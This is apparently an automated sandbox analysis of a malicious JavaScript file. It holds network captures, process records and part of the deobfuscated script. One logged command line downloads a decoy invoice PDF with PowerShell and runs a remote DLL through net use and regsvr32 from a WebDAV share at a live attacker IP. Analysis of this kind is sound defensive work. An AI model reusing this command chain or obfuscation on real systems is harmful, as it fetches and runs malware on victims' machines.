Jan 11, 2025 01:55:40.116405010 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116415024 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116425991 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116468906 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.116482973 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116492987 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116506100 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.116509914 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116520882 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116529942 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116533995 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.116539955 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116549015 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116559029 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116568089 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.116569042 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.116580963 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.116607904 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.116620064 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149640083 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149661064 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149672031 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149682999 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149732113 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149730921 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149792910 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149794102 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149805069 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149816036 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149832010 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149840117 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149846077 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149858952 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149862051 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149873018 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149889946 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149903059 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149914026 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149920940 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149924994 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149935961 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149950981 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149960041 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149970055 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149980068 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.149990082 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.149991035 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.150019884 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.150043964 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.150185108 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.150202990 CET	80	49772	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.150248051 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.244146109 CET	49772	80	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.878539085 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.883485079 CET	8888	49788	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:40.883565903 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.883894920 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:40.888747931 CET	8888	49788	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:41.677982092 CET	8888	49788	193.143.1.205	192.168.2.9
Jan 11, 2025 01:55:41.724055052 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 01:55:42.249310017 CET	49788	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 01:57:08.140629053 CET	52168	53	192.168.2.9	1.1.1.1
Jan 11, 2025 01:57:08.145420074 CET	53	52168	1.1.1.1	192.168.2.9
Jan 11, 2025 01:57:08.148211956 CET	52168	53	192.168.2.9	1.1.1.1
Jan 11, 2025 01:57:08.148248911 CET	52168	53	192.168.2.9	1.1.1.1
Jan 11, 2025 01:57:08.153058052 CET	53	52168	1.1.1.1	192.168.2.9
Jan 11, 2025 01:57:08.610383034 CET	53	52168	1.1.1.1	192.168.2.9
Jan 11, 2025 01:57:08.615086079 CET	52168	53	192.168.2.9	1.1.1.1
Jan 11, 2025 01:57:08.620104074 CET	53	52168	1.1.1.1	192.168.2.9
Jan 11, 2025 01:57:08.623874903 CET	52168	53	192.168.2.9	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:55:49.615099907 CET	61985	53	192.168.2.9	1.1.1.1
Jan 11, 2025 01:57:08.136579037 CET	53	54894	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:55:49.615099907 CET	192.168.2.9	1.1.1.1	0x147a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:55:49.622471094 CET	1.1.1.1	192.168.2.9	0x147a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:06.887454033 CET	1.1.1.1	192.168.2.9	0x70e3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:30.996953964 CET	1.1.1.1	192.168.2.9	0xf1dd	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:30.996953964 CET	1.1.1.1	192.168.2.9	0xf1dd	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:56:55.091063976 CET	1.1.1.1	192.168.2.9	0x6565	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49772	193.143.1.205	80	5312	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:55:38.579422951 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:55:39.376279116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:55:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:55:39.376322985 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:55:39.376357079 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:55:39.376390934 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:55:39.376441002 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 01:55:39.376496077 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:55:39.376528025 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 01:55:39.376562119 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 01:55:39.376594067 CET	1120	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 01:55:39.376626968 CET	892	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 01:55:39.419478893 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49788	193.143.1.205	8888	2832	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:55:40.883894920 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:55:41.677982092 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:55:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:55:27
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js"
Imagebase:	0x7ff62daa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:55:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Imagebase:	0x7ff7cffb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:55:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:55:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:55:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:55:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cffb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:55:39
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7def40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:55:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:55:41
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:55:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1624,i,9409475353304453374,4353992892144085622,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qlzabkxit() {	qlzabkxit() ➔ undefined
1	wuoheor = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yqhalrqml = this[kehdhmqr + himmhhqy + dpnlzapjl + gicygagwk + higddsxt + gvtqnkvu + sfazw + pbbyigxx] ( this[pcwndyw + gydgo + rewwi + dpnlzapjl + delmtoi + kehdhmqr + pbbyigxx][otbwrlv + dpnlzapjl + higddsxt + himmhhqy + pbbyigxx + higddsxt + sdgez + quxfhn + edzfmbsb + higddsxt + rewwi + pbbyigxx] ( pcwndyw + gydgo + rewwi + dpnlzapjl + delmtoi + kehdhmqr + pbbyigxx + yycsbxp + gydgo + jaiubnc + higddsxt + hekollqzl + hekollqzl ) [bpxkjvltz + higddsxt + mhxgvi + bpxkjvltz + higddsxt + himmhhqy + onsjw] ( wwzbe + acaqobphp + chmjlzy + xpgzxza + vefwnpvdy + otbwrlv + klauz + bpxkjvltz + bpxkjvltz + chmjlzy + cfsomuf + hczollykn + vefwnpvdy + klauz + gydgo + chmjlzy + bpxkjvltz + dmctquz + otbwrlv + azwbi + sfazw + pbbyigxx + dpnlzapjl + azwbi + hekollqzl + dzljsnb + rsomxdsj + himmhhqy + sfazw + higddsxt + hekollqzl + dmctquz + gvtqnkvu + sfazw + pbbyigxx + higddsxt + dpnlzapjl + sfazw + himmhhqy + pbbyigxx + delmtoi + azwbi + sfazw + himmhhqy + hekollqzl + dmctquz + sqzrez + azwbi + rewwi + himmhhqy + hekollqzl + higddsxt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ 